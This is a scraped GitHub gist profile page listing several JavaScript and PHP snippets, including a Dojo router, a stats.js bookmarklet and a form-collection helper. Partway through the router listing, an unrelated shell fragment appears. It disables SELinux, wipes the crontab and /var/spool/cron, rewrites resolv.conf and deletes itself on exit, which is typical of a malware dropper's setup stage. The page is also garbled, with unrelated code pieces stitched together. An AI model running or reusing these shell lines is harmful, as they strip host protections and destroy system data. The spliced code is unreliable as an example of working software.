Skip to content

Instantly share code, notes, and snippets.

View spalax's full-sized avatar
🎯
Focusing

Oleksii Mylotskyi spalax

🎯
Focusing
View GitHub Profile
@spalax
spalax / hash.js
Created November 14, 2018 14:48
tasks/11711899 - router
define(['history/dojo.history'], function () {
return function (path) {
if (!arguments.length) {
return location.pathname;
}
path = path.toString && path.toString() || path;
if (window && window.History) {
window.History.pushState(null, null, path);
}
sleep 1
find . -maxdepth 1 -name ".mxff0" -type f -mmin +60 -delete
[ -f .mxff0 ] && exit 0
echo 0 > .mxff0
trap "rm -rf .m* .cmd tmp.* .r .dat $0" EXIT
setenforce 0 2>/dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
crontab -r 2>/dev/null
rm -rf /var/spool/cron 2>/dev/null
grep -q 8.8.8.8 /etc/resolv.conf || echo "nameserver 8.8.8.8" >> /etc/resolv.conf
(function (lib, img, cjs, ss) {
var p; // shortcut to reference prototypes
lib.webFontTxtFilters = {};
// library properties:
lib.properties = {
width: 520,
height: 376,
fps: 30,
javascript:(function(){var script=document.createElement('script');script.onload=function(){var stats=new Stats();stats.domElement.style.cssText='position:fixed;left:0;top:0;z-index:10000';document.body.appendChild(stats.domElement);requestAnimationFrame(function loop(){stats.update();requestAnimationFrame(loop)});};script.src='//rawgit.com/mrdoob/stats.js/master/build/stats.min.js';document.head.appendChild(script);})()
@spalax
spalax / recursion.js
Created March 30, 2014 16:06
Recursion to collect in DOJO container all form elements even if they are nested inside containers.
var children = [];
(function _recursive(container){
u.each(container.getChildren(), function (child){
if (child.isInstanceOf(_FormValueMixin)) {
children.push(child);
} else if (child.isInstanceOf(_Container)) {
return _recursive(child);
}
})
})(this);
@spalax
spalax / trimmer.php
Last active August 29, 2015 13:57
Trim all lines in PHP array
<?php
$arr = array_map(function ($str){ return trim($str); }, explode('It is sometimes very usefull, but not often.'));